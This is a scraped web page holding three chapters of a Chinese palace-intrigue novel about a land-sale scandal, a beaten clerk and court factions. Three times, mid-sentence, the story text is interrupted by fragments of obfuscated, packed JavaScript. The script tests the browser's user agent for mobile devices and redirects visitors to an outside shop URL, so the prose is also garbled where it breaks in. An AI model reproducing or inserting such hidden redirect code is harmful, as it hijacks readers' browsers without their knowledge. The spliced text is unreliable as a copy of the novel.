阳奉阴违、心口不一是她惯有的作风。她若不直说,梅如故兴许还要七上八下一阵,而今她敞开天窗说亮话,梅如故顶多是无奈一阵,心中顾虑莫名消了大半。至少,她打了招呼自己可以未雨绸缪,万一戏台子垮了不好收场,自己善起后来总不至于猝不及防左支右绌得捉襟见肘。 “也罢,随你,你是我教出来的,脑袋瓜一般,心眼也说不上坏,总不至于给我出什么天大的难题——大老远地来了,那就留下来吃个家常便饭吧,总不好让你空着肚子回去,像什么话?临川是小地方,比不得你在京里山珍海味,不过南下一趟,亲探了民生疾苦,想来你的胃口也没以前那么刁钻,粗茶淡饭也咽得下去……” 正说着,梅如故引着沈明枳上了游廊,就见长廊的另一头疾步而来一个小厮,一丝不错地讲完了礼数,方才在梅如故的许可下禀明来意:“大人,出大事了,廉正那小子今早出门给别家盘账,回来的路上在犄角旮旯里被苏家人打了,下的是死手,您指过去的六个护卫被打死了两个……” 闻言,沈明枳变了脸色,倒是梅如故神色依旧,似是早就料到会有这么一出,口吻平淡,无波无澜:“人现在怎么样?” “头破血流,但人还清醒,也没有缺胳膊少腿,不算重伤——听说是路过的一群人仗义相助,不知这群人的来路,来无影去无踪的,但手底下有不少功夫,将苏家的家奴打得厉害,连领头寻衅的那位苏家少爷也吃了不少苦头。” “这群人得查,不然要出乱子,抚恤等事照章去办,还有廉正——”梅如故微一沉吟,“抬到后衙来吧,理由也不必找,即刻去办。” 等小厮走了,沈明枳这才发问:“这是出了什么事?” “论起来,这件事还与你有关。” 沈明枳不禁讶异:“与我有关?” “不错。此次漉水爆炸案被你捅了上去,朝廷派了郇海山来查,便将此案打成了魏赵双王党争,漉水这个知县鄢汝言自要问斩,鄢汝言死了一了百了,可摊子还在,郇海山也绝不会就此收手,与鄢家、魏王妃郑家有关的所有人都逃不了牵连,从鄢家流出、流进的钱财、田亩、商铺,郇海山也不会放过,这甚至于更方便了他抱蔓摘瓜、一网打尽。按规矩,田亩买卖除了要压在衙门里的、捏在自家手里的两张一份的田契作证,还需要一份新鲜的丈量结果作保。而廉正是我临川府架阁库的书吏,算数盘账一把好手,这回就被人介绍着,给苏家丈量田亩去了。” 沈明枳敛容。言至于此,她心中隐隐有了猜测:“苏家的田有问题?” 梅如故嗤笑一声:“岂止是有问题?你猜猜这田的上家是谁?就是这鄢汝言!” 岂止是有问题,这问题简直大了去!鄢汝言是魏王派,现在赵王派的郇寰前来涤荡,苏家还留着从鄢汝言手中流转出来的田,简直就是老寿星吃砒霜不想活了。 “为了避祸,苏家便着急出手,价格压得很低,但八百多亩地,寻常百姓接不了,有点家底的不敢要,好不容易有人敢要了,结果又出问题了。” 沈明枳起疑:“慢着,普天之下,临川地界,还有人敢接这八百亩阎罗地?” 梅如故扬唇,不经意间尽是风流:“你都说是临川地界了。” 沈明枳浑身一震,惊骇地望向梅如故,“难道是……” “不错,就是封邑于此的临川郡主。” 临川与沈明枳是从小的交情,对她的脾性最了解不过了,的确是个胆大妄为得有些无法无天的人。但正因为沈明枳了解她,就越发不敢置信买地之人居然会是临川郡主。 梅如故兀自分析道:“三岁看老,你们从小在一起玩,我从前瞧着她就不是个聪明的,想来长大了也不会伶俐到哪里去——”他乜斜了沈明枳一眼,见她脸色不佳,不知是因为自己妄自贬低了她那本就算不得聪明的玩伴,还是因为临川郡主淌了浑水恐会连坐,他继续说:“不过最起码的趋利避害的道理还是懂的,就算她不懂,她那位长公主母亲也会‘帮’她去‘懂’。” 灵光一瞬,沈明枳回过味了。 临川之母鲁国长公主是圣上唯一的妹妹,长公主又在圣上夺储之争中出了不少力,故而有此关系,即便大楚早定下了“只封不授”的祖宗家法,临川还是小小年纪就成为了大楚开国以来,仅此一位有实封的皇室郡主。 圣上封给临川的田是食邑,田税等一干收入都是临川的私产,但临川自己购入的田亩没有这个待遇。郡主仪宾姓张,寻常世家子弟,没有功名,张家的起势大半靠的还是郡主和长公主的势力。长公主丧夫,同样照规矩没有实封,若临川以郡主府的名义购入土地,田契上只能挂张仪宾的名字,这样一来,田亩税赋一切都要按照正常的流程,按时纳税缴役。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514304|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 区区八百亩地,这么一点钱都抵不过她日常零花,真的值得临川这样大费周章吗? 临川是个直爽得有点一根筋的性子,她不会这么做的,张仪宾没这个胆子,那么买地的人,就很可能是临川之母鲁国长公主。 “想明白了吗?若还没想明白,不妨我来点点你——现在大楚和义律打算和亲,战火消弭,南海道又被你处理好了,四海太平,瞧上去俨然就是盛世前景,那么连年军务之后,便会轮到积压已久的田务。” 心潮泛滥,沈明枳被“田务”二字引出的往事回忆震在原地。 粗略看过沈明枳的反应,梅如故幽幽吐出一口浊气:“是啊,圣上又打算肃清田务了,而鲁国长公主窥得圣心,便打算借此替圣上先行探路,又或者,这本就是圣上指使长公主这么做的。” 沈明枳嗓音颤抖:“那这田……” 梅如故垂眸,迅速整理眼底的肆虐,旋即抬眼,神色一如声音一样平和,“是,这田出问题了,田契上白纸黑字写的是八百三十六亩,廉正一量,实际上三倍不止,至于这些多出来的田是从哪里来的、怎么来的,你知道的。不过,这个数也不算过分。苏家与郡主府的这桩买卖,用八百亩的钱买几千亩的地,这种连傻子也不会放过的便宜生意绝对黄不了,可偏偏郡主府将这到手的肥肉给扔了,八百亩的钱就买八百亩的地,多一厘都不要。” 睹始知终,沈明枳已然猜出了事情的走向,她平复着心绪顺着梅如故的话头继续道:“可除了临川郡主府,没有人敢买这块地,如果找不到下家,苏家不是死在郇海山手里,就得在郡主府这棵大树上吊死,所以苏家会尽全力促成这桩生死买卖。所以最大的问题出现了——” “不错,他们有两条路,一条是改田契。田契一式三份,一份在苏家手中,一份在当地县衙架阁库中,还有一份则留档于化隆京郊的紫微宫,每三年鱼鳞图册重造一次,紫微宫的那份就会每三年更新一次,旧契仍留,一查就知,而私篡田契是抄家灭门的死罪,更给了旁人整治他们的机会,苏家人本就是奔着‘生’去的,便不会自寻死路。” 沈明枳目光一凝:“所以,解决不了问题,就只能解决提出问题的人;所以,你早就知道廉正此人走的是暗礁险滩。” 梅如故直白地认下:“是,从廉正答应给苏家丈田时,我就知道了。行行出状元,他就是数算的天才,只可惜人太呆、太轴、太认死理,无论如何也不肯替这块地改数。而他改的哪是几个数字?天上地下玄机穷尽亦不过几个数字,他改的是‘命数’。命数不改,走上这样的死路是必然。我劝不了、看不住他,便只能尽力护他周全,然浊骨凡胎岂得翻覆风雨,我梅心不过泥塑的普通人,力有局限,智有穷尽,怎能次次算无遗策得窥天机?” 默然一瞬,沈明枳将梅如故话中艰深隐晦的苦涩咽了下去。他是站着的,站得笔直,比庭下松柏更多了坚韧之竹的超然,可沈明枳觉得,他已经跪下了,敬跪于那天地玄黄、世事无常幻化作的一尊塑像面前、那一座象征着造物者的无上法力与无边薄情的塑像面前。 可世上真有怪力乱神吗?独运威福,翻云覆雨,不过人手人心。 沈明枳还是开口宽慰他:“造化使然,你不需自责。” 谁知梅如故轻笑出声:“头一回从你嘴里听见‘造化’二字,真是稀奇。” 沈明枳微微一窒,再听梅如故长叹,但叹息之中不见伤惋:“八百亩阎罗地,也不知是谁的埋骨处。苏家也不是没有别的法子,郡主府不要那千亩良田不打紧,天下亡田丧地之人千千万万,地是荒不了的,只是,选不选这条路还得看他们。” 沈明枳蹙眉:“走哪条路,怕是由不得苏家人吧?” “呵,你以为他们真的只能卖田吗?” 这话说得春风化雨,却让人听得毛骨悚然。 “除了卖田,他们还能投了魏王不成?若投靠魏王真是条好路,郇海山还没出手呢,他们就已是惊弓之鸟,杯弓蛇影了?” 7. 第七章 心怀阙 梅如故笑着摇头:“我听说你来苏州的这几日一直闭门谢客,想来对苏州当地的乡绅豪族并无过多了解。” “在临川地界卖田生事,他们居然是苏州府的?” “他们家还是苏州府长洲县数一数二的门户。八百亩一张的田契,实际占江西道的地三千有余,你现在该知道江南道的苏家,是怎样的富贵窝了。” 沈明枳倒吸一口凉气。 “他家还有个人,你应该认识的。” 这回的惊弓之鸟变成沈明枳了:“为富一方而屹立不倒,朝中必然有人扶持帮衬,但,升平当朝,哪怕是已经致仕的,我可没听过哪个大员是姓苏的,至于‘应该认识’,更谈不上吧。” 梅如故一笑:“你是掉钱眼里了,净想着那些纵横朝野的老腐儒去了。苏悯,苏德惜,你认识吧?当年那首闺中思春的歌谣怎么唱的?‘寻花问柳,露宿桥头’,大名鼎鼎的‘宿’将军、美男子、安西都督苏德惜,离封疆一方咫尺之遥,担得上‘大员’的尊称吧。” 沈明枳怔了怔,目露难以置信。 “想不到?”梅如故谑笑一声,“我以前也没想到啊,总以为边疆动荡多的是建功立业的机会,苏德惜有本事,更兼人长得入眼,自食其力平步青云不是虚语,可偏偏,他当了云家的赘婿?云家是老牌子的武将世家,但明日黄花蝶也愁,要入赘也不该选这样没落了的门第。我以为他和宁远都督陆微一样,都是不毛之地的石头缝里蹦出来的将才,啧啧,多亏了鄢汝言,让我也知道了苏德惜这些鲜为人知的身世。” 见沈明枳的吃惊转为疑惧,梅如故幽幽吐息:“觉得事情不对?你还算敏锐。” 沈明枳抬眼望了过来。 “我查过了,苏德惜入赘是两年前,跟你嫁郇海山的时间差不多,而苏家低价购入鄢汝言的地是三年前,苏家不可能不知道鄢汝言是魏王一脉,且‘低价’二字说尽了其中蹊跷。朝中诸王纷争冲着太子之位,朝外势力错杂奔的是荣华富贵。除了一个年轻偏支的苏德惜,朝中再无倚仗,不走正经仕途想要投机取巧,苏家站队如日中天的魏王,情理之中。而苏家除了钱,一无所有,魏王又不缺钱,看中的就是苏德惜。魏王胞妹长乐公主尚未议亲,苏德惜在化隆京中女眷里颇有美名,圣眷正隆,三年前尚未娶亲,或许魏王打的就是公主及笄后联姻的主意。” 沈明枳接话:“所以我这魏王三哥通过鄢汝言与苏家搭上了线,苏德惜也就知道了,出于一些原因,他选择入赘中立于夺储纷争的云家以此断绝与家族的血脉联系?” “很有可能,毕竟这个世道下,若非走投无路,那些个出身不错、既有本事又心比天高的男人,哪个愿意登门入赘?连尚公主、给皇家伏低做小都算不得满意。” 话落一刹那,沈明枳立即想到了郇寰,但梅如故的话很密很急,容不得她神游错过:“但这些家族的羁绊,哪是说断就断的?苏德惜若是敢叛离门户,苏家早就把事情闹上天了,所以,只要他的名字还挂在苏家族谱一日,这干系就断不了。云家人对他不错,又有知遇提携之恩,自他入赘之举就得见他的脾性,有决断,但,如果苏家卖田这把火真的烧到他身上、烧到了云家身上,助魏之仇,不共戴天,赵王他们不由分说就会把云家一起打成魏党!到时候,就算他不想,也不得不给苏家卖命去了。要挟一个人总比反要挟来得容易,这便是无赖的底牌。” 沈明枳轻轻叹息。 血脉之延,更无断绝,羁绊之深,痛不欲生。若卖田之事被郇寰察觉,苏悯连带着云家都要遭灾,不是被迫缴械投靠赵王就是一不做二不休站队魏王。可他入赘云家不仅是往年京中常常流传的痴情佳话,更是他决意逃离的一场豪赌。 “如果苏家不走这条路呢?”问完,沈明枳望向檐上,临川他乡的流云几缕,悠闲悠游,无形无声中就将地上的他们这些钻研之辈,嘲讽得体无完肤。 梅如故拢手,顺着沈明枳的目光偏头也瞥了过去,那种初生于沈明枳一人之心的厌弃、惭愧、煎熬,似是随着拂云之风一并播撒入了梅如故心里。可这些随着世事变迁、绝对会发芽抽枝的种子却发现,这人心土已无方寸空地得以容身,随处可见密密匝匝长满了厚郁繁茂得遮天蔽日的枝蔓。 他对自然万物中的气韵感悟,从小敏锐得异于常人。幼时,这是天赋;可现在,却是恶疾。 梅如故垂眼,缓了瞬息,方才又装得若无其事:“那就看,圣上怎么做了。一则,分田于民,必引大户骚动,郡主府用八百亩地做了个遵纪守法的表率,褒奖必颇多,可这些褒奖不过一张纸糊,水一泡就散了,比不上实实在在的鱼米蚕桑和真金白银,劝诫、敦促、威逼、利诱,凡此种种皆需精算。二则,分田于民实为还田于民,奸邪毕露,胥吏惶惶,地方上一定要有人坐镇,且一人不行,得有一群人前仆后继、舍生忘死方才挡得住明枪暗箭。我的任期将满,回京述职近在眼前,留与不留,还要看圣上的筹谋。三则,外地的压力在外放的官员肩上,朝野的压力就得圣上亲自来扛——” 梅如故喉头哽咽,说不下去。 扛不住,就是死。圣上自然不会因此引退,他还是大楚的君主,可一番折腾,怨怼四起,必须要有人顶罪,必须要给卷入其中的官绅世家一个说法。可圣上能给什么说法,他是驾御万民、统帅四海的天子,承天应运,他怎么能错?升平一朝至今已有二十三年,二十三年间不乏革田大政,可凡几险胜?凡几惨败?错的是政还是人?谁错了谁又没错? 这三条,已经是擎天重担,顶不住,天就要塌。纵然石压笋斜出、岸悬花倒生,为圣心官意磋磨良久的务实者高呼坚信柳暗花明,可朝令夕改,今年革弊,明年倒台,上下偏废,民不聊生。 念及往事,沈明枳的心情也如这天光黯然。 梅如故心中勉强,面上却笑得出奇灿烂,出声打断:“唉,你说得对,在其位谋其职,想太多了就是庸人自扰。你劝我,我虚心受了,我劝你,你可别当耳旁风。” 他们谈得太久,老早准备好午饭的尤夫人遣人来问,梅如故朝来人挥挥手,领着沈明枳沿游廊边走边感慨:“事情多,是非多,你和我一样,都是骨子里散漫的人,本不该囿于俗事、有损心性。说句实话你别气,你脑子比我差一点,脾气比我倔一点,但命比我好一点。” 沈明枳挑眉。 梅如故大笑:“你是姑娘家,不务正业也无人来催,可不比我命好些?我呢,志不在于此,奈何左右包抄、前后围剿,不得不入了这是非地,上有老下有小,一大家子人都指着我,走也走不了。唉,我当年怎么就那么犯贱呢?四海之大,偏偏就去了昌南……” 他虽在抱怨,话中有惋惜与无奈意,沈明枳却听不出该有的怨愤和深悔,反倒是顺着他的话头,想起了从前,常年被公务逼得不胜其烦的他,嘴巴边上常年挂着“当年我怎么就想不开”抑或者“猫狗都嫌,真是作孽”之类的事后诸葛。 他常诉这样玩笑似的苦,自诉自苦,似是说出来了就不苦,过了片刻又会苦,每时每刻都很苦。 其父梅痴绝是首辅,离不了内阁,内阁也离不了他,梅如故便也跟着父亲常年在京,这好像就是他心中“苦”的根源。接着他中了进士,却在授官当口发了神经,和家人开了个天大的玩笑,即离家出走要四海游历去。然后,就不得不说上一句“造化使然”:他一路南下跑到了昌南,结果那年太子代帝南巡,刚好路过昌南。结果,在外浪荡了一圈的少年梅心还是灰溜溜地回来了。 当时沈明枳还小,听着梅如故说起南边风物,将他崇拜成了天上谪仙,但梅如故说得越让人神往,就越让沈明枳不解他的回归。直到有一回,她从护驾南下的乔致用那里,偶然挖到了当年真相:说是,太子得知了他的行踪,便“三顾茅庐”,用了一篇叫什么“大墙”什么“蒿”的古人赋文给劝了出来,不,是做足了姿态如同汉初的商山四皓为吕太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514305|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子折节那样给“请”了出来。 身在江湖,心存魏阙。 梅如故免不了这个俗。 四野环望,上下求索,但凡懂了点道理、读了些书,心性不坏又日久渐染的年轻人,哪个得以免俗? 沈明枳上了车,只见夏至不见戒子,便问:“他人呢?” 夏至笑容温婉:“十七殿下去买东西了,让殿下稍等呢。” 沈明枳点点头,坐下整理裙裾,顺手将头上那支蝶花钗拔了,要了夏至的帕子包起,又让夏至收好以防丢失。 夏至抬眼看看沈明枳的发髻,只剩下一朵素雅的紫玉花插在其间,花开流光,更觉空落,便迟疑地开口:“殿下,一会儿要去臬司衙门,是否要重理妆发……” 沈明枳随口驳她:“有什么可理的?这次去衙门又不见正官,也不为正事——”她注意到了夏至仍然犹疑的目光,语中带笑:“更不去会情郎,有什么梳洗打扮的必要?” 说完,向来严谨的沈明枳有些懊悔。她这话有异,不去会情郎的言下之意是有情郎,她既要调笑着解了夏至的惑,又要措辞严谨,倒不如说“根本没什么情郎可会”,但这样一来,语势又不整齐了。万言万当,不如一默,沈明枳果见夏至不说话了,嘴角却翘了起来。 轻咳一声,沈明枳问:“可有出什么事?” 夏至面带微笑:“并无大事,只有路过一条小巷子时,遇见了一群恶徒施暴,以强凌弱,十七殿下胸怀仁爱,正气凛然,便让暗卫出手救那主仆几人,只可惜,恶徒暴虐,已有人命丧当场。不过殿下放心,有暗卫相护,十七殿下一点油皮都没有破,暗卫也没有损失。十七殿下不欲张扬,便遮掩了身份报了官、请了医生,然后就带着我们低调地走了。” 听完,沈明枳懵在原地。 居然是戒子救了被苏家人暴打的廉正? 这是什么阴差阳错、造化使然? 沈明枳过了好一会儿才回过神,来不及安抚被自己冷脸吓到的夏至,即刻招来暗卫让他们给梅如故送信。 戒子回来时的忐忑不比夏至少,可沈明枳笑靥如花,看上去心情极佳,悬着的心便放了下来,欢腾地说起了下午的四处见闻。可沈明枳内心,已比车外那逐渐下沉的天光更加阴沉。 这是件麻烦事。 平心而论,此次魏王受挫,赵王昂首,再由苏家卖田事牵扯到苏悯与云家引起势力增添绝非她愿;但现实分明,郇寰查到苏家头上是早晚的,几日之内,天翻地覆,若他真要大做文章,将苏悯与云家一举拽下来也不是妄言,而那诞于隐蔽和猜测的肃田之策又将胎死腹中。 故太子与她并非同母,却胜同母兄妹。革田清亩是太子遗愿,太子遗愿就是心中所愿,承袭其愿并发扬光大,便是至高的追求、无上的荣耀。 可事实便如梅如故所说,他们都做好准备了吗?代帝南巡惊世骇俗,梅如故劝她思退思危,不要插手朝事脏了手,固然是替自己的安危着想,又何尝不体现他心中对圣上的摇摆与失望。 男儿身在江湖然心存魏阙,可笑的是,她一个女子竟也没能免俗。 庸人自扰,其实这根本一点也不麻烦。 苏家人打了廉正,自己的暗卫又打了苏家人,苏家不会将这样不光彩的事情闹到台面上,梅如故不需与苏家对峙,自己也不需给苏家交代,一切都与他们毫无瓜葛。 沈明枳几不可察地叹了口气。 “哦对了阿姐,我在街上听说,漉水爆炸案别有隐情?” 不安上泛,沈明枳凝神:“他们怎么说的?” “他们说是对家报复,因为有窑厂里的幸存者说,爆炸那天看见了生面孔,为了安全,瓷窑附近来来去去就只能是那几个熟人,所以他坚称那面孔不是厂子里的,而漉水这家窑厂是当地首屈一指的商户,虽有官府中人掺和,但和当地其他有名气的窑厂竞争依然激烈。” 匿于昏暗,沈明枳骤然变色。 8. 第八章 谓悲哀 浓云压际,不见落日,天蒙蒙黑。沈明枳下马车时,竟见臬司衙门偏门敞开着,里面一路火把高举,照彻了一条幽深的大道。 郇寰就负手立在门后,垂头和边上那个中年人聊着什么。他们都是一身常服,那中年人冷肃,说话间多有几分那种上了年纪后自然而然的沉稳,而他身边的郇寰,也常以沉稳见称,但相比之下,他太年轻了,言行举止似还留着曾经侯府公子的矜贵气焰。 戒子先行下了车,不曾进门,只站在车旁等沈明枳,而门内之人已经看见了他的形容,几乎要迎出门来。 沈明枳褰裙入了偏门,在江南道按察使胡全德行完全礼时,默默咬紧后槽牙。 胡全德就是这里最大的牌面。闹这么大阵仗,是谁也没有想到的。 因为沈明枳要来,郇寰这个临时官便提前和臬司衙门的正主胡全德打过招呼,一切从简,官腔虚礼一应要不得。胡全德当面应下,谁料今暮却摆出了这种排场,说大不大,说小又没小到哪里去,两个官衔最低三品的官恭候门边,硬是让这排场又涨了几分累赘的脸面。 “本宫与端王微服叨扰,真是过意不去。” 胡全德笑得客气:“公主与王爷的莅临,是衙司最大的光荣——” 他正说着,身后折廊里蓦地传来一声半出不出即被捂回喉咙的尖叫:“老爷!”众人俱是一愣,循声朝那昏暗处看去,胡全德的面色在瞬息之间暴露了几分不合时宜的复杂。 郇寰只是个临时官,办公于前院衙门,借住于后院官邸,本不该由他这个客人越俎代庖,但心中对胡全德的恼怒随着沈明枳脸上越来越淡的笑容愈发嚣张,故而他在胡全德发怔的当口,出声问:“什么人?” 胡全德被郇寰话中威势惊回了魂魄,连忙也出声询问:“什么事!” 胡府亲兵迟疑地折膝禀告:“回老爷,是缪姨娘屋里的女使。” 沈明枳与郇寰俱是挑眉。 胡全德的脸彻底拉了下来,“混账东西,这里也是她能随便闯随便闹的?赶紧把人赶回去!” 隐隐约约,沈明枳听见了呜咽,在胡全德转过身堆起歉笑的同时,温和道:“或许有什么事情急找胡大人,大人去看看吧,若真有事因为本宫与端王的突然造访耽误了,那我们就真愧疚难当了。” 短短几句话的功夫,胡全德脸上就沁出了热汗,郇寰便也开口了:“去看看吧,前几日我就听闻府上姨娘怀了身孕,若有什么事情,您在必然更加妥帖,二位殿下这里,我会招呼的。” 胡全德这才匆匆向诸人施礼,疾步拐出了廊道,消失在浓暮里。 沈明枳这才侧身,看向了戒子,“该用晚膳了,在车上你不是说想去那家风光楼试试么?” 戒子愣了一瞬,扫了一眼立于一边的郇寰,即刻应了下来:“阿姐答应了?” “是。夏至,你看着他,别让他乱跑。” 夏至也是微微一愣,旋即笑着应下。 郇寰道:“是臣的疏忽,已胡乱命人备下了肴馔,恐不合端王殿下胃口,既如此,奔波两地劳神费事,不如容臣命人前去采买……” “不必了。”沈明枳仍背对着郇寰,仍微笑着看着戒子与夏至,戒子很是机灵:“大动干戈,太麻烦姐夫了,且只有在楼中吃才别有滋味,多谢姐夫费心。阿姐,那我便先去了。” 沈明枳觉得戒子的机灵抖得很刺耳,但还是饱含欣慰地目送他们离开。 脸上一凉,沈明枳仰头望天,郇寰伸手,细丝般的几片雨落入了掌中,他们齐声说道:“下雨了。” 晚饭已经在桌上摆好,菜品不多,贵在精致。不过沈明枳进屋第一眼没有去看今天的晚饭,而是直望向左厢垂帘后,那堆叠如小山般的案牍。 屋中灯已经点好,橘黄色的火焰被门口灌入的凉风削去了一截,在门轻轻合上后,那丢了的脑袋重新长了回来。沈明枳没有就坐,而是绕着屋中站立的那架巨型屏风隔出的前堂缓缓踱了几步,目光流荡在周遭陈设,最后落到了这一切事物暂时的主人郇寰脸上。 “奔波了这么久,先吃饭吧。” 沈明枳将嘴边的问话咽下,坐到了桌前。 他们吃饭向来无话,连碗碟相碰的响动也很轻,一时间,除了细细的咀嚼声,满屋子都灌满了屋外渐起风声的肆虐和远处人声的嘈杂。 沈明枳吃得不多,但还是慢吞吞等着郇寰已经吃得差不多后,方才收箸。 “不合胃口?” 这属于没话找话,郇寰知道的,她向来没什么好胃口。 沈明枳回道:“还好,中午吃得多了——收了吧。” 郇寰唤来了人,开门的瞬间,那风夹杂着细细密密的雨丝,将沈明枳吹眯了眼睛。郇寰起身走了过去,问一个端着碗碟跨出门的小厮:“你家胡老爷处怎么样了?没有出事吧?” 小厮回:“听说缪姨娘正在生产,具体怎么样并不知道。” 郇寰点点头,听见身后屋内还有碗碟响声,想了想便又问:“几时开始的?” 那小厮支吾了片刻,摇头:“这就不是我们外院家丁知道的了。” 正好,收拾碗筷的人都退出了门外,郇寰这才放过这个小厮,合起门板。 屋内重又归于深潭般的宁静。 沈明枳仍端坐原位,正沏着茶,偏头瞥了一眼郇寰缎面的前襟,借着灯光和几个特殊的瞬间角度,看清了上面流落的雨珠,耳畔又响起早上梅如故说的那几句僧面佛面的话,便将又到嘴边的问话吞了下去,问起了漉水爆炸案:“我在路上听说,爆炸原因另有隐情?” 郇寰也不去擦衣上的雨,刚坐下又站了起来,走到左厢那案牍掩映后的书桌前,燃灯,翻找起案卷,“外面怎么说的?” “对家报复。”沈明枳侧过身,答得简明扼要。 郇寰拿着那案卷又走了过来,并不否认,而是将那几张证词递了过来,“殿下看看?” 沈明枳没有接,“你说吧。” 郇寰只得将证词又收了回去,“昨夜震泽抓的就是那个陌生人,他说他是新来的,别人不认识他很正常。”他走了回来,在沈明枳身边的位子坐下,接过沈明枳推来的茶杯,“查过了,没动机,‘对家报复’在他身上并不成立,窑厂管事也能证明他是新招的窑工之一,唯一的疑点也不成立:他是临川人,临川府也有窑厂,他便是在那儿做的工,后来去了漉水。爆炸案发生后,他便回了临川老家,昨日突然跑到了震泽,说不出原因,后来一查,原来是偷摸着去和情人相会了。” 沈明枳默了默,问:“事情发酵这么久,以前衙门没拷问他吗?” 郇寰喝完了杯中茶,放下了被自己捂热了的杯子,“没有。” 他们心里都有模糊的猜测。可沈明枳不说,她在等郇寰说,郇寰也不说,他也在等沈明枳说,两厢沉默,不知两人同时在心里琢磨什么,直到远处的喧腾闹到近边,郇寰才率先服了软:“确实,有人故意的。” 这个“有人”指了两种人。 一种已经明牌,就是困兽犹斗、垂死挣扎,想横生新的枝节阻挠郇寰涤荡魏王势力,用“拖”字诀寻求转机。 另一种则是处心积虑将事情闹大,不容许鄢汝言用爆炸案起因存疑将注意力转移出去。因为一旦转移了出去,一切的确定都会变成不确定。爆炸案的起因不确定了,那么这件案子最终的焦点——赔偿事宜就也变得不确定了。受累于爆炸案的窑工、居民是“确定”的受害者,那么原本“确定”了的械斗惨案、赔偿惨案酿造的黑手——当地官府豪强也就成了“不确定”的凶手,因为被人算计了的他们也在这样那样的惨案中遭到了重创,他们也成了一种“确定”的受害者。那么“确定”了的未赔付的赔偿就不该由他们承担,因为爆炸案是别有用心之人促成的,赔偿该向别有用心之人去要,而这样的“真凶”几时能找到、如何被找到,这里面就充满了“不确定”。 不确定就是一切确定的终结。 “我翻过记录,刚开始有人提出了起因疑点,但找不到这个人,械斗之事又闹得太大,便成了那个结果。” 沈明枳又沉默了片刻,“事情很复杂。” 郇寰给自己的茶杯又满上了,“是,确实很复杂,但也可以很简单。” 看着郇寰那根本称不上反应的反应,沈明枳心中突觉悲哀。 其实真相根本不重要,重要的只是结果,至少对于爆炸案本身来说。哪怕那个陌生人就是始作俑者,哪怕郇寰得到了一些指向性的线索,哪怕他们都知道此案别有玄机,出于利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郇寰边揣摩沈明枳问话的深意,边回答:“还好吧,事情都是听冬至说的,探听掌握各种消息,是老习惯了。” “胡夫人如何?” 郇寰微一挑眉,偷瞟了沈明枳一眼,随即答道:“听说醋劲很大,所以胡大人家里只有一妻二妾,一个老妾,多年未育,一个小妾,就是缪姨娘,一子三女皆为胡夫人所出。” 沈明枳轻嗤一声。郇寰听懂了她笑中讥诮。 “那个女使是哭着闯过来的。” 不必沈明枳多说,郇寰也都懂,不然他也不会问那小厮缪姨娘是几时开始生产的。若真是胡夫人扣着缪姨娘生产的消息,抑或是生产时出了什么事情急需胡全德抉择,那这位胡夫人就不是“醋劲很大”了,“善妒”这个词郇寰不喜,只能说,关键时候、关键当口,她拎不清。 坐到这个位子上的胡全德如果有一个拎不清的老妻,恐怕难。 郇寰微微叹息,心道今夜,“难”的岂止是胡全德一家。 “雨大,夜路难走,殿下留下吧。” “好。” “那臣去安排,只是委屈殿下了。” “我若觉得委屈,那江南道的百姓就无人不委屈至死。” 郇寰一时缄默,刚触及门板的手就凝在了半空,又听沈明枳嗓音低沉地提醒:“外面雨大。” 犹豫了弹指,了悟了深意,郇寰收回了手。 他们都默声观雨听雷,并肩站在门前,如话家常般说着血雨腥风:“京中有发生什么吗?” 郇寰捡了最近的事说:“义律请和,宫里传出消息,和亲定了长荣公主。” 远天又炸起一个霹雳。 “长荣?”沈明枳算了算,“她不是今年才及笄吗?长宁、长乐同岁,都是姐姐,怎么轮到她了?” 难以启齿。 柿子要挑软的捏,这样的道理人人都懂。长宁有赵王和寇家,长乐有魏王和华家,长荣除了已经失宠的母亲荣妃,别无兄弟,更无倚仗。纵有人情,京中凡事全然只讲利害。 郇寰斟酌了字句解释:“寇妃娘娘和赵王妃都在撮合长宁公主与张四郎,魏王则看中了今年的一个新科进士。” 原来都有理由了:宁拆十座庙,不毁一桩婚,虽然八字都没有一撇。 9. 第九章 巴山雨 长幼有序的世伦人情,也可以是一句虚语。 长幼有序是虚语,世伦人情亦妄言。毕竟当年,中宫所出的大公主正与靖安侯世子齐珏暧昧,义律请和,朝廷就打算将赵王亲姐长兴公主送去和亲,这便是最初的印证。接着不知是阴差阳错还是早有预谋,齐珏与宣国暗度陈仓、珠胎暗结,而她的大姐姐还傻愣愣地做梦,想着齐珏会三书六聘、向圣上求亲、然后一生只爱她一个人。最后,长兴变宣国,凤冠霞帔,为人妻母;长安变大妃,胡马北风,客死他乡。 追忆往事,未免摧心。 沈明枳眸光深邃,郇寰一时懊悔。 可京中就这些事,若不论朝中,便只能说宫内,若不论宫内,那就说说边疆,绕来绕去,说什么都是一样的。 家事国事天下事,皆是同一件事。 诸如和亲此事。 